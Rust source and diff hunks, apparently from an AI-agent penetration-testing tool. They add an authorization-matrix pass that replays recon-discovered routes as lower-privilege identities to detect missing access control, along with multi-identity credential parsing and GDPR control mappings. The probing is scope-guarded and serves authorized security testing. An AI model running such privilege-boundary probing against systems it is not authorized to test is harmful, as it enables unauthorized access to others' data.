if !creds.authz_matrix_ready() {
return out;
}
let Some(highest) = creds.highest_identity() else {
return out;
};
for route in &inv.routes {
if budget == 0 {
break;
}
match route.kind {
RouteKind::Read => {
// Replay as each should-be-denied identity.
let mut probes = Vec::new();
for id in creds.roles.iter() {
if id.name == highest.name {
continue;
}
let expect = id.expected(false);
if expect != Expect::Deny {
continue; // only probes we expect to be refused prove anything
}
if !allowed(scope, &route.url, &route.method) || budget == 0 {
continue;
}
budget -= 1;
let x = send(route.method.clone(), route.url.clone(), headers_for(id), String::new()).await;
probes.push(MatrixProbe { identity: id.name.clone(), expect, exchange: with_identity(x, &id.name) });
}
if probes.iter().any(|p| p.expect == Expect::Deny) {
let ev = Evidence { matrix: probes, ..Default::default() };
out.push((synth_finding(route, "missing authorization"), ev));
}
}
RouteKind::Write => {
let Some(denied) = pick_denied(creds) else { continue };
if denied.name == highest.name {
continue;
}
let url = with_nonexistent_id(&route.url);
// Writes use a non-existent id: Probe action, not Destructive.
if !allowed(scope, &url, &route.method) || budget < 2 {
continue;
}
budget -= 2;
let denied_x = send(route.method.clone(), url.clone(), headers_for(denied), String::new()).await;
let priv_x = send(route.method.clone(), url.clone(), headers_for(highest), String::new()).await;
let ev = Evidence {
oracle: Some(OracleProbe {
denied: with_identity(denied_x, &denied.name),
privileged: with_identity(priv_x, &highest.name),
}),
..Default::default()
};
out.push((synth_finding(route, "read-only / unauthorized write"), ev));
}
}
}
out
}
/// Run the matrix and apply the deterministic verdict to each candidate, so the
/// caller gets findings with `review_status`/`confidence` already set — ready to
/// merge into the run's finding list. Rejected candidates are dropped (they are
/// the control working); confirmed and needs-review are kept.
pub async fn run_pass<F, Fut>(
inv: &RouteInventory,
creds: &Creds,
scope: &ScopePolicy,
max_requests: usize,
send: F,
) -> Vec<Finding>
where
F: Fn(String, String, Vec<(String, String)>, String) -> Fut,
Fut: Future<Output = Exchange>,
{
let mut out = Vec::new();
for (mut f, ev) in run(inv, creds, scope, max_requests, send).await {
let verdict = crate::validation::apply(&mut f, Some(&ev));
if !matches!(verdict, crate::validation::Verdict::Rejected(_)) {
f.evidence = verdict.reason().to_string();
out.push(f);
}
}
out
}
/// A reqwest-backed sender for [`run`]/[`run_pass`]. The pipeline builds the
/// closure inline: `|m, u, h, b| authz_matrix::send_via(&client, m, u, h, b)`.
pub async fn send_via(
client: &reqwest::Client,
method: String,
url: String,
headers: Vec<(String, String)>,
body: String,
) -> Exchange {
let started = std::time::Instant::now();
let m = reqwest::Method::from_bytes(method.as_bytes()).unwrap_or(reqwest::Method::GET);
let mut req = client.request(m, &url);
for (k, v) in &headers {
req = req.header(k.as_str(), v.as_str());
}
if !body.is_empty() {
req = req.body(body.clone());
}
let mut out = Exchange { method, url, provenance: "wire:harness".into(), ..Default::default() };
match req.send().await {
Ok(resp) => {
out.status = resp.status().as_u16();
out.content_type = resp
.headers()
.get(reqwest::header::CONTENT_TYPE)
.and_then(|v| v.to_str().ok())
.unwrap_or("")
.to_string();
for (k, v) in resp.headers().iter() {
if let Ok(val) = v.to_str() {
out.headers.insert(k.as_str().to_lowercase(), val.to_string());
}
}
out.body = resp.text().await.unwrap_or_default();
}
Err(_) => {
out.status = 0; // network error — reached nothing
}
}
out.elapsed_ms = started.elapsed().as_millis() as u64;
out
}
fn with_identity(mut x: Exchange, id: &str) -> Exchange {
if x.identity.is_empty() {
x.identity = id.to_string();
}
x
}
/// Scope guard: a write with a non-existent id is a Probe (non-mutating in
/// effect), a read is Probe too.
fn allowed(scope: &ScopePolicy, url: &str, _method: &str) -> bool {
scope.check(url, Action::Probe).allowed()
}
#[cfg(test)]
mod tests {
use super::*;
use crate::validation::{self, Verdict};
fn creds_three() -> Creds {
let mk = |name: &str, tier: &str, hdr: &str| Identity {
name: name.into(),
header: hdr.into(),
tier: tier.into(),
..Default::default()
};
Creds {
roles: vec![
mk("admin", "high", "Authorization: Bearer AAA"),
mk("readonly", "readonly", "Authorization: Bearer BBB"),
Identity { name: "anonymous".into(), tier: "none".into(), ..Default::default() },
],
..Default::default()
}
}
fn ex(status: u16, body: &str) -> Exchange {
Exchange { status, body: body.into(), ..Default::default() }
}
fn open_scope() -> ScopePolicy {
ScopePolicy::from_yaml("hard:\n - t.test\n")
}
#[tokio::test]
async fn read_route_served_to_denied_identity_is_confirmed() {
let inv = RouteInventory::from_endpoints(&[("GET".into(), "https://t.test/chargeback/list".into())]);
// Every identity gets the protected list back → missing authorization.
let send = |_m: String, _u: String, _h: Vec<(String, String)>, _b: String| {
std::future::ready(ex(200, "{\"total\":86776,\"items\":[{\"cpf\":\"...\"}]}"))
};
let found = run(&inv, &creds_three(), &open_scope(), 100, send).await;
assert_eq!(found.len(), 1, "one read finding expected");
let (f, evd) = &found[0];
match validation::judge(f, Some(evd)) {
Verdict::Confirmed(r) => assert!(r.contains("expected deny"), "{r}"),
v => panic!("expected confirmation, got {v:?}"),
}
}
#[tokio::test]
async fn enforced_read_route_yields_no_confirmation() {
let inv = RouteInventory::from_endpoints(&[("GET".into(), "https://t.test/admin/users".into())]);
// Denied identities are correctly refused.
let send = |_m: String, _u: String, _h: Vec<(String, String)>, _b: String| {
std::future::ready(ex(403, "Forbidden"))
};
let found = run(&inv, &creds_three(), &open_scope(), 100, send).await;
// A finding object is still produced, but the verdict rejects it.
assert_eq!(found.len(), 1);
let (f, evd) = &found[0];
assert!(matches!(validation::judge(f, Some(evd)), Verdict::Rejected(_)));
}
#[tokio::test]
async fn write_oracle_business_error_confirms() {
let inv = RouteInventory::from_endpoints(&[("PATCH".into(), "https://t.test/chargeback/6531aa/decision".into())]);
// Non-existent id → both denied and privileged get the same business
// "not found": authorization did nothing.
let send = |_m: String, _u: String, _h: Vec<(String, String)>, _b: String| {
std::future::ready(ex(404, "record not found"))
};
let found = run(&inv, &creds_three(), &open_scope(), 100, send).await;
assert_eq!(found.len(), 1, "one write finding expected");
let (f, evd) = &found[0];
assert!(evd.oracle.is_some(), "write route should carry an oracle probe");
match validation::judge(f, Some(evd)) {
Verdict::Confirmed(r) => assert!(r.contains("business logic"), "{r}"),
v => panic!("expected confirmation, got {v:?}"),
}
}
#[tokio::test]
async fn write_oracle_403_is_rejected() {
let inv = RouteInventory::from_endpoints(&[("DELETE".into(), "https://t.test/users/123".into())]);
let send = |_m: String, _u: String, _h: Vec<(String, String)>, _b: String| {
std::future::ready(ex(403, "Forbidden"))
};
let found = run(&inv, &creds_three(), &open_scope(), 100, send).await;
assert_eq!(found.len(), 1);
let (f, evd) = &found[0];
assert!(matches!(validation::judge(f, Some(evd)), Verdict::Rejected(_)));
}
#[tokio::test]
async fn no_matrix_without_two_tiers() {
let one = Creds {
roles: vec![Identity { name: "admin".into(), header: "Authorization: Bearer A".into(), tier: "high".into(), ..Default::default() }],
..Default::default()
};
let inv = RouteInventory::from_endpoints(&[("GET".into(), "https://t.test/x".into())]);
let send = |_m: String, _u: String, _h: Vec<(String, String)>, _b: String| std::future::ready(ex(200, "x"));
assert!(run(&inv, &one, &open_scope(), 100, send).await.is_empty());
}
#[test]
fn template_collapses_ids() {
assert_eq!(template("https://t.test/users/123/orders/456"), "https://t.test/users/{id}/orders/{id}");
assert_eq!(template("https://t.test/u/6531aaffbbccddeeff001122"), "https://t.test/u/{id}");
assert_eq!(
template("https://t.test/u/550e8400-e29b-41d4-a716-446655440000"),
"https://t.test/u/{id}"
);
}
#[test]
fn nonexistent_id_keeps_shape() {
assert_eq!(with_nonexistent_id("https://t.test/users/123"), "https://t.test/users/999999999999");
assert_eq!(
with_nonexistent_id("https://t.test/u/6531aaffbbccddeeff001122/go"),
"https://t.test/u/000000000000000000000000/go"
);
assert_eq!(with_nonexistent_id("https://t.test/refund"), "https://t.test/refund/000000000000000000000000");
}
}
@@ -35,6 +35,8 @@ pub enum Framework {
Hipaa, Hipaa,
/// SOC 2 — Trust Services Criteria (security, availability, confidentiality). /// SOC 2 — Trust Services Criteria (security, availability, confidentiality).
Soc2, Soc2,
/// GDPR — EU General Data Protection Regulation (2016/679).
Gdpr,
} }
impl Framework { impl Framework {
@@ -43,6 +45,7 @@ impl Framework {
Framework::PciDss => "pci-dss", Framework::PciDss => "pci-dss",
Framework::Hipaa => "hipaa", Framework::Hipaa => "hipaa",
Framework::Soc2 => "soc2", Framework::Soc2 => "soc2",
Framework::Gdpr => "gdpr",
} }
} }
pub fn title(self) -> &'static str { pub fn title(self) -> &'static str {
@@ -50,6 +53,7 @@ impl Framework {
Framework::PciDss => "PCI-DSS v4.0", Framework::PciDss => "PCI-DSS v4.0",
Framework::Hipaa => "HIPAA Security Rule", Framework::Hipaa => "HIPAA Security Rule",
Framework::Soc2 => "SOC 2 (Trust Services Criteria)", Framework::Soc2 => "SOC 2 (Trust Services Criteria)",
Framework::Gdpr => "GDPR (EU 2016/679)",
} }
} }
pub fn parse(s: &str) -> Option<Framework> { pub fn parse(s: &str) -> Option<Framework> {
@@ -57,11 +61,12 @@ impl Framework {
"pci" | "pci-dss" | "pcidss" => Framework::PciDss, "pci" | "pci-dss" | "pcidss" => Framework::PciDss,
"hipaa" => Framework::Hipaa, "hipaa" => Framework::Hipaa,
"soc2" | "soc-2" | "soc" => Framework::Soc2, "soc2" | "soc-2" | "soc" => Framework::Soc2,
"gdpr" | "eu-gdpr" => Framework::Gdpr,
_ => return None, _ => return None,
}) })
} }
pub fn all() -> [Framework; 3] { pub fn all() -> [Framework; 4] {
[Framework::PciDss, Framework::Hipaa, Framework::Soc2] [Framework::PciDss, Framework::Hipaa, Framework::Soc2, Framework::Gdpr]
} }
} }
@@ -191,6 +196,22 @@ fn controls_for(cat: Category, fw: Framework) -> Vec<Control> {
(Soc2, InsufficientLogging) => vec![Control::new("CC7.2", "Security events are monitored and logged for analysis")], (Soc2, InsufficientLogging) => vec![Control::new("CC7.2", "Security events are monitored and logged for analysis")],
(Soc2, Csrf) => vec![Control::new("CC6.1", "Actions are performed only by authenticated, authorized users")], (Soc2, Csrf) => vec![Control::new("CC6.1", "Actions are performed only by authenticated, authorized users")],
(Soc2, Other) => vec![Control::new("CC7.1", "Vulnerabilities are identified, evaluated and remediated")], (Soc2, Other) => vec![Control::new("CC7.1", "Vulnerabilities are identified, evaluated and remediated")],
// ---- GDPR (EU 2016/679) ------------------------------------------
// Art. 5(1)(f) integrity & confidentiality; Art. 25 data protection by
// design; Art. 30 records of processing; Art. 32 security of processing;
// Art. 33/34 breach notification to the authority / data subjects.
(Gdpr, Injection) => vec![Control::new("Art. 32(1)(b)", "Ongoing confidentiality, integrity and resilience of processing systems"), Control::new("Art. 25", "Data protection by design and by default")],
(Gdpr, BrokenAccessControl) => vec![Control::new("Art. 32(1)(b)", "Confidentiality of processing — personal data accessible only to authorised persons"), Control::new("Art. 5(1)(f)", "Integrity and confidentiality principle")],
(Gdpr, BrokenAuth) => vec![Control::new("Art. 32(1)(b)", "Access to processing systems restricted by appropriate authentication"), Control::new("Art. 5(1)(f)", "Protection against unauthorised processing")],
(Gdpr, CryptoTransport) => vec![Control::new("Art. 32(1)(a)", "Encryption of personal data"), Control::new("Art. 5(1)(f)", "Protection against unauthorised access in transit")],
(Gdpr, SensitiveDataExposure) => vec![Control::new("Art. 5(1)(f)", "Protection against unauthorised or unlawful processing and accidental loss"), Control::new("Art. 33", "Notification of a personal data breach to the supervisory authority"), Control::new("Art. 5(1)(c)", "Data minimisation — expose no more than necessary")],
(Gdpr, SecurityMisconfig) => vec![Control::new("Art. 32(1)", "Appropriate technical and organisational security measures"), Control::new("Art. 25", "Data protection by design and by default")],
(Gdpr, Ssrf) => vec![Control::new("Art. 32(1)(b)", "Confidentiality of internal systems that process personal data")],
(Gdpr, VulnerableComponent) => vec![Control::new("Art. 32(1)(d)", "Regularly testing, assessing and evaluating the effectiveness of security measures")],
(Gdpr, InsufficientLogging) => vec![Control::new("Art. 30", "Records of processing activities"), Control::new("Art. 33(5)", "Documenting personal data breaches")],
(Gdpr, Csrf) => vec![Control::new("Art. 32(1)(b)", "Protection against unauthorised processing actions")],
(Gdpr, Other) => vec![Control::new("Art. 32(1)(d)", "Regular testing and evaluation of security measures")],
} }
} }
+211 -1
View File
@@ -19,6 +19,27 @@
//! password: admin //! password: admin
//! success: Logout //! success: Logout
//! ``` //! ```
//!
//! Multi-identity block for the authorization matrix (each identity is a named
//! block; `tier` is `high|readonly|tenant|none`, and an explicit `none` keeps a
//! credential-less anonymous context the matrix needs):
//! ```yaml
//! admin:
//! header: "Authorization: Bearer AAA"
//! tier: high
//! readonly:
//! header: "Authorization: Bearer BBB"
//! tier: readonly
//! tenantB:
//! cookie: "session=ccc"
//! known_id: "6531bb" # a real object this identity owns (BOLA baseline)
//! anonymous:
//! tier: none
//! sample_values: # valid domain values to pass format gates
//! nfe_key: "3520...0017"
//! cnpj: "11222333000181"
//! known_ids: "6531aa, 6531bb"
//! ```
#[derive(Default, Debug, Clone)] #[derive(Default, Debug, Clone)]
pub struct Login { pub struct Login {
@@ -92,6 +113,30 @@ pub struct Identity {
pub login_url: String, // login endpoint (agent authenticates itself) pub login_url: String, // login endpoint (agent authenticates itself)
pub username: String, pub username: String,
pub password: String, pub password: String,
/// Privilege tier for the authorization matrix: "high"|"readonly"|"tenant"|
/// "none"/"anonymous". Empty → derived from the name.
pub tier: String,
/// A real object id this identity legitimately owns (for BOLA baselines).
pub known_id: String,
}
/// Privilege tier an identity holds, for deriving the access-control prior.
#[derive(Debug, Clone, Copy, PartialEq, Eq, Hash)]
pub enum Tier {
High,
ReadOnly,
Tenant,
None,
}
/// Valid domain values the matrix engine uses to get a request past input/format
/// validation so it actually reaches the authorization check and the handler.
#[derive(Default, Debug, Clone)]
pub struct SampleValues {
pub nfe_key: String,
pub cnpj: String,
/// Comma-separated real ids, per the friendly YAML (`known_ids: a,b,c`).
pub known_ids: Vec<String>,
} }
impl Identity { impl Identity {
@@ -110,6 +155,54 @@ impl Identity {
else if !self.login_url.is_empty() { format!("{} → log in at {} as {}:{} and reuse the session", self.name, self.login_url, self.username, self.password) } else if !self.login_url.is_empty() { format!("{} → log in at {} as {}:{} and reuse the session", self.name, self.login_url, self.username, self.password) }
else { format!("{} → (no usable credential)", self.name) } else { format!("{} → (no usable credential)", self.name) }
} }
/// Explicitly declared as the no-credential anonymous context (so a
/// credential-less block is kept only when it is meant to be anonymous,
/// never a typo'd empty one).
pub fn is_explicit_anonymous(&self) -> bool {
let t = self.tier.to_lowercase();
t == "none" || t == "anonymous" || t == "anon" || self.name.to_lowercase().contains("anon")
}
/// Resolve the privilege tier from the explicit `tier` or, failing that,
/// the name. A credential-less, tier-less block is treated as anonymous.
pub fn tier_kind(&self) -> Tier {
let t = self.tier.to_lowercase();
let hay = format!("{t} {}", self.name.to_lowercase());
match t.as_str() {
"high" | "admin" | "superuser" | "super" => return Tier::High,
"readonly" | "read-only" | "read only" | "ro" | "viewer" => return Tier::ReadOnly,
"tenant" | "user" | "customer" => return Tier::Tenant,
"none" | "anonymous" | "anon" => return Tier::None,
_ => {}
}
if self.header_line().is_none() && self.login_url.is_empty() {
return Tier::None; // no credential, no tier → anonymous
}
if hay.contains("admin") || hay.contains("super") || hay.contains("root") {
Tier::High
} else if hay.contains("readonly") || hay.contains("read-only") || hay.contains("read only") || hay.contains("viewer") {
Tier::ReadOnly
} else if hay.contains("anon") {
Tier::None
} else {
Tier::Tenant
}
}
/// The access-control prior: what SHOULD happen for this identity on a
/// route. `write` = the route changes state (POST/PUT/PATCH/DELETE or a
/// decision verb). The matrix flags any observed Allow where Deny was
/// expected. Cross-tenant object access is left to the BOLA validator.
pub fn expected(&self, write: bool) -> crate::validation::Expect {
use crate::validation::Expect;
match self.tier_kind() {
Tier::High => Expect::Allow,
Tier::None => Expect::Deny,
Tier::ReadOnly => if write { Expect::Deny } else { Expect::Allow },
Tier::Tenant => if write { Expect::Deny } else { Expect::Allow },
}
}
} }
#[derive(Default, Debug, Clone)] #[derive(Default, Debug, Clone)]
@@ -123,6 +216,8 @@ pub struct Creds {
pub cloud: Option<Cloud>, pub cloud: Option<Cloud>,
/// Named identities for multi-role access-control testing. /// Named identities for multi-role access-control testing.
pub roles: Vec<Identity>, pub roles: Vec<Identity>,
/// Valid domain values for the authorization matrix engine.
pub samples: SampleValues,
} }
impl Creds { impl Creds {
@@ -133,6 +228,7 @@ impl Creds {
let mut ssh = Ssh { port: "22".into(), ..Default::default() }; let mut ssh = Ssh { port: "22".into(), ..Default::default() };
let mut win = Win::default(); let mut win = Win::default();
let mut cloud = Cloud::default(); let mut cloud = Cloud::default();
let mut samples = SampleValues::default();
let (mut have_login, mut have_ssh, mut have_win) = (false, false, false); let (mut have_login, mut have_ssh, mut have_win) = (false, false, false);
let mut roles: Vec<Identity> = Vec::new(); let mut roles: Vec<Identity> = Vec::new();
let mut cur_role = 0usize; let mut cur_role = 0usize;
@@ -157,6 +253,7 @@ impl Creds {
"gcp" | "google" | "gcloud" => "gcp", "gcp" | "google" | "gcloud" => "gcp",
"azure" | "az" => "azure", "azure" | "az" => "azure",
"roles" | "identities" | "users" => "", // optional wrapper — ignore "roles" | "identities" | "users" => "", // optional wrapper — ignore
"sample_values" | "samples" | "fixtures" => "samples",
// Any other named block is a role/identity for access-control testing. // Any other named block is a role/identity for access-control testing.
other => { roles.push(Identity { name: other.to_string(), ..Default::default() }); cur_role = roles.len() - 1; "role" } other => { roles.push(Identity { name: other.to_string(), ..Default::default() }); cur_role = roles.len() - 1; "role" }
}; };
@@ -219,9 +316,19 @@ impl Creds {
"login" | "url" | "login_url" => r.login_url = v, "login" | "url" | "login_url" => r.login_url = v,
"username" | "user" => r.username = v, "username" | "user" => r.username = v,
"password" | "pass" => r.password = v, "password" | "pass" => r.password = v,
"tier" | "level" | "privilege" => r.tier = v,
"known_id" | "id" => r.known_id = v,
_ => {} _ => {}
} }
}, },
"samples" => match k.as_str() {
"nfe_key" | "nfekey" | "access_key" | "chave" => samples.nfe_key = v,
"cnpj" => samples.cnpj = v,
"known_ids" | "ids" => {
samples.known_ids = v.split(',').map(|s| s.trim().to_string()).filter(|s| !s.is_empty()).collect();
}
_ => {}
},
_ => {} _ => {}
} }
continue; continue;
@@ -238,8 +345,12 @@ impl Creds {
if have_ssh && !ssh.host.is_empty() { c.ssh = Some(ssh); } if have_ssh && !ssh.host.is_empty() { c.ssh = Some(ssh); }
if have_win && !win.host.is_empty() { c.win = Some(win); } if have_win && !win.host.is_empty() { c.win = Some(win); }
if !cloud.is_empty() { c.cloud = Some(cloud); } if !cloud.is_empty() { c.cloud = Some(cloud); }
roles.retain(|r| r.header_line().is_some() || !r.login_url.is_empty()); // Keep an identity with real credentials, a self-login, or one that is
// EXPLICITLY the anonymous context (the matrix needs anonymous), but
// drop a typo'd empty block.
roles.retain(|r| r.header_line().is_some() || !r.login_url.is_empty() || r.is_explicit_anonymous());
c.roles = roles; c.roles = roles;
c.samples = samples;
if c.jwt.is_none() && c.header.is_none() && c.cookie.is_none() if c.jwt.is_none() && c.header.is_none() && c.cookie.is_none()
&& c.login.is_none() && c.ssh.is_none() && c.win.is_none() && c.cloud.is_none() && c.login.is_none() && c.ssh.is_none() && c.win.is_none() && c.cloud.is_none()
&& c.roles.is_empty() { && c.roles.is_empty() {
@@ -248,6 +359,22 @@ impl Creds {
Some(c) Some(c)
} }
/// True when the authorization matrix can run: at least two identities
/// spanning at least two distinct privilege tiers (so there is a
/// should-be-denied context to differentiate against a privileged one).
pub fn authz_matrix_ready(&self) -> bool {
let tiers: std::collections::HashSet<Tier> = self.roles.iter().map(|r| r.tier_kind()).collect();
self.roles.len() >= 2 && tiers.len() >= 2
}
/// The highest-privilege identity, used as the matrix's privileged baseline.
pub fn highest_identity(&self) -> Option<&Identity> {
self.roles.iter().find(|r| r.tier_kind() == Tier::High)
.or_else(|| self.roles.iter().max_by_key(|r| match r.tier_kind() {
Tier::High => 3, Tier::Tenant => 2, Tier::ReadOnly => 1, Tier::None => 0,
}))
}
/// Multi-role access-control testing directive: lists every identity and /// Multi-role access-control testing directive: lists every identity and
/// instructs the agent to test cross-role access (IDOR/BOLA, BFLA, privesc) /// instructs the agent to test cross-role access (IDOR/BOLA, BFLA, privesc)
/// by acting as each role against the others' objects and functions. /// by acting as each role against the others' objects and functions.
@@ -446,3 +573,86 @@ fn unquote(s: &str) -> String {
s.to_string() s.to_string()
} }
} }
#[cfg(test)]
mod tests {
use super::*;
fn write_tmp(name: &str, body: &str) -> std::path::PathBuf {
let p = std::env::temp_dir().join(format!("ns_creds_{}_{}.yaml", name, std::process::id()));
std::fs::write(&p, body).unwrap();
p
}
#[test]
fn parses_identities_tiers_and_samples() {
let yaml = r#"
admin:
header: "Authorization: Bearer AAA"
tier: high
readonly:
header: "Authorization: Bearer BBB"
tier: readonly
tenantB:
cookie: "session=ccc"
known_id: "6531bb"
anonymous:
tier: none
sample_values:
nfe_key: "35200114200166000187550010000000071000000017"
cnpj: "11222333000181"
known_ids: "6531aa, 6531bb, 6531cc"
"#;
let p = write_tmp("matrix", yaml);
let c = Creds::load(&p).expect("should parse");
std::fs::remove_file(&p).ok();
// Anonymous (credential-less) is KEPT because it is explicit.
assert_eq!(c.roles.len(), 4, "roles: {:?}", c.roles.iter().map(|r| &r.name).collect::<Vec<_>>());
let tier = |name: &str| c.roles.iter().find(|r| r.name == name).unwrap().tier_kind();
assert_eq!(tier("admin"), Tier::High);
assert_eq!(tier("readonly"), Tier::ReadOnly);
assert_eq!(tier("tenantB"), Tier::Tenant);
assert_eq!(tier("anonymous"), Tier::None);
// Samples parsed.
assert_eq!(c.samples.cnpj, "11222333000181");
assert_eq!(c.samples.known_ids.len(), 3);
assert!(!c.samples.nfe_key.is_empty());
assert!(c.authz_matrix_ready());
assert_eq!(c.highest_identity().unwrap().name, "admin");
}
#[test]
fn expected_prior_matches_policy() {
use crate::validation::Expect;
let admin = Identity { name: "admin".into(), header: "Authorization: Bearer x".into(), tier: "high".into(), ..Default::default() };
let ro = Identity { name: "ro".into(), header: "Authorization: Bearer x".into(), tier: "readonly".into(), ..Default::default() };
let anon = Identity { name: "anon".into(), tier: "none".into(), ..Default::default() };
// Admin allowed everywhere.
assert_eq!(admin.expected(true), Expect::Allow);
assert_eq!(admin.expected(false), Expect::Allow);
// Read-only may read, must not write.
assert_eq!(ro.expected(false), Expect::Allow);
assert_eq!(ro.expected(true), Expect::Deny);
// Anonymous denied on any protected route.
assert_eq!(anon.expected(false), Expect::Deny);
assert_eq!(anon.expected(true), Expect::Deny);
}
#[test]
fn typoed_empty_block_is_dropped_but_not_anonymous() {
// A credential-less block with no tier and a non-anon name is a typo,
// not an identity — it must be dropped.
let yaml = "ghost:\n note: nothing\nadmin:\n header: \"Authorization: Bearer A\"\n tier: high\n";
let p = write_tmp("typo", yaml);
let c = Creds::load(&p).expect("should parse");
std::fs::remove_file(&p).ok();
assert_eq!(c.roles.len(), 1);
assert_eq!(c.roles[0].name, "admin");
assert!(!c.authz_matrix_ready(), "one identity, one tier → not ready");
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
+6
View File
@@ -8,6 +8,7 @@
pub mod agents; pub mod agents;
pub mod assurance; pub mod assurance;
pub mod authz_matrix;
pub mod attack_graph; pub mod attack_graph;
pub mod audit; pub mod audit;
pub mod belief; pub mod belief;
@@ -19,6 +20,8 @@ pub mod claims;
pub mod compliance; pub mod compliance;
pub mod creds; pub mod creds;
pub mod cvss; pub mod cvss;
pub mod deliverables;
pub mod graph_memory;
pub mod grounding; pub mod grounding;
pub mod hygiene; pub mod hygiene;
pub mod inbox; pub mod inbox;
@@ -33,6 +36,7 @@ pub mod poc;
pub mod pomdp; pub mod pomdp;
pub mod proxy; pub mod proxy;
pub mod prosecutor; pub mod prosecutor;
pub mod redact;
pub mod provenance; pub mod provenance;
pub mod models; pub mod models;
pub mod netguard; pub mod netguard;
@@ -47,6 +51,7 @@ pub mod sandbox;
pub mod sarif; pub mod sarif;
pub mod scope; pub mod scope;
pub mod taint; pub mod taint;
pub mod traces;
pub mod transport; pub mod transport;
pub mod types; pub mod types;
pub mod typesafe; pub mod typesafe;
@@ -54,6 +59,7 @@ pub mod typesafe_agent;
pub mod uncertainty; pub mod uncertainty;
pub mod validation; pub mod validation;
pub mod waf; pub mod waf;
pub mod wire;
pub use agents::{Agent, Library}; pub use agents::{Agent, Library};
pub use models::{ pub use models::{
+337 -10
View File
@@ -187,6 +187,13 @@ fn operator_directives(cfg: &RunConfig) -> String {
if !recalled.is_empty() { if !recalled.is_empty() {
s.push_str(&recalled); s.push_str(&recalled);
} }
// The live attack graph — refreshed at every graph checkpoint of the test.
let graph = crate::graph_memory::live_context(&run_id(cfg));
if !graph.is_empty() {
s.push_str(&graph);
}
// What the other agents already observed (structured digest + where to grep).
s.push_str(&crate::traces::prompt_block(cfg.workdir.as_deref(), None));
if !s.is_empty() { if !s.is_empty() {
s.push('\n'); s.push('\n');
} }
@@ -836,6 +843,87 @@ fn write_meta(cfg: &RunConfig, p: &crate::probe::Probe, asset: &str) {
} }
/// Black-box web engagement: recon → parallel exploit → N-model vote → report. /// Black-box web engagement: recon → parallel exploit → N-model vote → report.
/// Extract `(method, absolute_url)` pairs from the recon JSON the model
/// returned (keys `endpoints` and `apis`). Tolerant: an item may be a bare path,
/// a full URL, a `"METHOD /path"` string, or an object with `method`+`path/url`.
fn endpoints_from_recon(recon: &str, target: &str) -> Vec<(String, String)> {
let base = target.trim_end_matches('/').to_string();
let abs = |p: &str| -> String {
let p = p.trim();
if p.starts_with("http://") || p.starts_with("https://") {
p.to_string()
} else if p.starts_with('/') {
format!("{base}{p}")
} else {
format!("{base}/{p}")
}
};
// Pull the JSON object out of whatever the model wrapped it in.
let (Some(s), Some(e)) = (recon.find('{'), recon.rfind('}')) else { return Vec::new() };
let Ok(v) = serde_json::from_str::<serde_json::Value>(&recon[s..=e]) else { return Vec::new() };
let mut out: Vec<(String, String)> = Vec::new();
for key in ["endpoints", "apis"] {
let Some(arr) = v.get(key).and_then(|x| x.as_array()) else { continue };
for item in arr {
if let Some(str_item) = item.as_str() {
// "METHOD /path" or just a path/url.
let (method, path) = match str_item.split_once(char::is_whitespace) {
Some((m, p)) if m.chars().all(|c| c.is_ascii_alphabetic()) && m.len() <= 7 => (m.to_uppercase(), p.trim().to_string()),
_ => ("GET".to_string(), str_item.to_string()),
};
out.push((method, abs(&path)));
} else if let Some(obj) = item.as_object() {
let method = obj.get("method").and_then(|x| x.as_str()).unwrap_or("GET").to_uppercase();
let path = obj.get("url").or_else(|| obj.get("path")).or_else(|| obj.get("endpoint")).and_then(|x| x.as_str()).unwrap_or("");
if !path.is_empty() {
out.push((method, abs(path)));
}
}
}
}
out
}
/// The authorization-matrix pass: load the multi-identity creds, build the route
/// inventory from recon, sweep every route against every identity, and return
/// the confirmed/needs-review findings. Deterministic; no model calls.
async fn authz_matrix_pass(cfg: &RunConfig, recon: &str, tx: &Sender<String>) -> Vec<Finding> {
let mode = cfg.authz_matrix.as_deref().unwrap_or("auto").to_lowercase();
if mode == "off" {
return Vec::new();
}
let Some(path) = cfg.creds_file.as_deref() else { return Vec::new() };
let Some(creds) = crate::creds::Creds::load(std::path::Path::new(path)) else { return Vec::new() };
if !creds.authz_matrix_ready() {
if mode == "on" {
let _ = tx.send("authz-matrix: creds have fewer than 2 identity tiers — nothing to differentiate".into()).await;
}
return Vec::new();
}
let eps = endpoints_from_recon(recon, &cfg.target);
if eps.is_empty() {
return Vec::new();
}
let inv = crate::authz_matrix::RouteInventory::from_endpoints(&eps);
let _ = tx.send(format!(
"🔐 authz-matrix: sweeping {} route(s) across {} identities",
inv.routes.len(),
creds.roles.len()
)).await;
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(30))
.user_agent(cfg.user_agent.clone().unwrap_or_else(default_user_agent))
.build()
.unwrap_or_default();
const CAP: usize = 400;
crate::authz_matrix::run_pass(&inv, &creds, &cfg.scope, CAP, |m, u, h, b| {
crate::authz_matrix::send_via(&client, m, u, h, b)
})
.await
}
pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender<String>) -> RunOutput { pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender<String>) -> RunOutput {
pool.set_progress(tx.clone()); pool.set_progress(tx.clone());
@@ -1133,6 +1221,10 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender
deep_recon(&cfg, pool, &probe_facts, &tx).await deep_recon(&cfg, pool, &probe_facts, &tx).await
}; };
// ---- 1b. Graph checkpoint: seed the attack graph from recon ---------
let agent_names: Vec<String> = lib.vulns.iter().map(|a| a.name.clone()).collect();
let graph_agents = graph_checkpoint(&cfg, &recon, &[], "recon", &agent_names, &tx).await.agents;
// ---- 2. Intelligent, RL-ranked agent selection --------------------- // ---- 2. Intelligent, RL-ranked agent selection ---------------------
let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default(); let mut rl = cfg.rl_path.as_ref().map(|p| RlState::load(Path::new(p))).unwrap_or_default();
let mut ranked: Vec<Agent> = lib.vulns.clone(); let mut ranked: Vec<Agent> = lib.vulns.clone();
@@ -1203,6 +1295,19 @@ pub async fn run(mut cfg: RunConfig, lib: &Library, pool: &ModelPool, tx: Sender
} }
} }
} }
// Graph-directed agents: the specialists that would complete or extend an
// open path in the attack graph (never when the operator pinned a set).
if cfg.pinned.is_empty() {
for (name, why) in &graph_agents {
if selected.iter().any(|a| &a.name == name) {
continue;
}
if let Some(a) = lib.vulns.iter().find(|a| &a.name == name) {
let _ = tx.send(format!("🕸 graph-directed: {name} — {why}")).await;
selected.push(a.clone());
}
}
}
let _ = tx let _ = tx
